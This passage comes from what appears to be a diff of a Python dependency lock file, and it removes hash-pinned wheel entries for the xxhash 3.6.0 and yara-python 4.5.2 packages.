= "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb"}, - {file = "xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c"}, - {file = "xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd"}, - {file = "xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799"}, - {file = "xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392"}, - {file = "xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033"}, - {file = "xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5"}, - {file = "xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f"}, - {file = "xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad"}, - {file = "xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518"}, - {file = "xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7dac94fad14a3d1c92affb661021e1d5cbcf3876be5f5b4d90730775ccb7ac41"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6965e0e90f1f0e6cb78da568c13d4a348eeb7f40acfd6d43690a666a459458b8"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2ab89a6b80f22214b43d98693c30da66af910c04f9858dd39c8e570749593d7e"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4903530e866b7a9c1eadfd3fa2fbe1b97d3aed4739a80abf506eb9318561c850"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4da8168ae52c01ac64c511d6f4a709479da8b7a4a1d7621ed51652f93747dffa"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97460eec202017f719e839a0d3551fbc0b2fcc9c6c6ffaa5af85bbd5de432788"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:45aae0c9df92e7fa46fbb738737324a563c727990755ec1965a6a339ea10a1df"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:0d50101e57aad86f4344ca9b32d091a2135a9d0a4396f19133426c88025b09f1"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9085e798c163ce310d91f8aa6b325dda3c2944c93c6ce1edb314030d4167cc65"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:a87f271a33fad0e5bf3be282be55d78df3a45ae457950deb5241998790326f87"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:9e040d3e762f84500961791fa3709ffa4784d4dcd7690afc655c095e02fff05f"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b0359391c3dad6de872fefb0cf5b69d55b0655c55ee78b1bb7a568979b2ce96b"}, - {file = "xxhash-3.6.0-cp38-cp38-win32.whl", hash = "sha256:e4ff728a2894e7f436b9e94c667b0f426b9c74b71f900cf37d5468c6b5da0536"}, - {file = "xxhash-3.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:01be0c5b500c5362871fc9cfdf58c69b3e5c4f531a82229ddb9eb1eb14138004"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc604dc06027dbeb8281aeac5899c35fcfe7c77b25212833709f0bff4ce74d2a"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:277175a73900ad43a8caeb8b99b9604f21fe8d7c842f2f9061a364a7e220ddb7"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cfbc5b91397c8c2972fdac13fb3e4ed2f7f8ccac85cd2c644887557780a9b6e2"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2762bfff264c4e73c0e507274b40634ff465e025f0eaf050897e88ec8367575d"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f171a900d59d51511209f7476933c34a0c2c711078d3c80e74e0fe4f38680ec"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:780b90c313348f030b811efc37b0fa1431163cb8db8064cf88a7936b6ce5f222"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b242455eccdfcd1fa4134c431a30737d2b4f045770f8fe84356b3469d4b919"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a75ffc1bd5def584129774c158e108e5d768e10b75813f2b32650bb041066ed6"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1fc1ed882d1e8df932a66e2999429ba6cc4d5172914c904ab193381fba825360"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:44e342e8cc11b4e79dae5c57f2fb6360c3c20cc57d32049af8f567f5b4bcb5f4"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c2f9ccd5c4be370939a2e17602fbc49995299203da72a3429db013d44d590e86"}, - {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02ea4cb627c76f48cd9fb37cf7ab22bd51e57e1b519807234b473faebe526796"}, - {file = "xxhash-3.6.0-cp39-cp39-win32.whl", hash = "sha256:6551880383f0e6971dc23e512c9ccc986147ce7bfa1cd2e4b520b876c53e9f3d"}, - {file = "xxhash-3.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:7c35c4cdc65f2a29f34425c446f2f5cdcd0e3c34158931e1cc927ece925ab802"}, - {file = "xxhash-3.6.0-cp39-cp39-win_arm64.whl", hash = "sha256:ffc578717a347baf25be8397cb10d2528802d24f94cfc005c0e44fef44b5cdd6"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd"}, - {file = "xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d"}, - {file = "xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6"}, -] - -[[package]] -name = "yara-python" -version = "4.5.2" -description = "Python interface for YARA" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742"}, - {file = "yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df"}, - {file = "yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153"}, - {file = "yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06"}, - {file = "yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0"}, - {file = "yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120"}, - {file = "yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959"}, - {file = "yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f"}, - {file = "yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ba81f3bfba7cd7aa7bf97840eba7e2bb3d9f643090e47cbc03b2070e4f44568f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6cbb9ded3d6dd981cb1f1a7e01b12efd260548bc2f27bf29e9dbeca1ab241363"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cb760bb5aaa9c37e0e43b64cccfb7ff1a5ae584392661ebd82a50b758ea2d86"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96b22ae1651f8fd2eb61d0d140daa71dce4346137124abead0bb15c47b1259ec"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e96c6cdf2284077ae039832481046806cd2b0c42c45d160da567dd0cc5673f3"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:475fb16f33767c8c048cf009cdf307688b4ed961cf29fc28b2a020c3469e4cba"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c195d69253681751d75c6f79c88f57ebf5cc547821bdcba89fa29466356f241b"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cc49f5543398b48e6bcf20c6a93a34ebe6732b8ff1e55918c8908a4a6cfeaf8"}, - {file = "yara_python-4.5.2-cp39-cp39-win32.whl", hash = "sha256:2ccd788c8103f43c58d4072f696ee7b7e5be6c19bbce32f9f8e5d7b7def3ecd4"}, - {file = "yara_python-4.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:ab8d75dc181b915ca7eb8eb1c3f66597286436820122f84ae9f07a7b98f256fc"}, - {file = "yara_python-4.5.2.tar.gz", hash 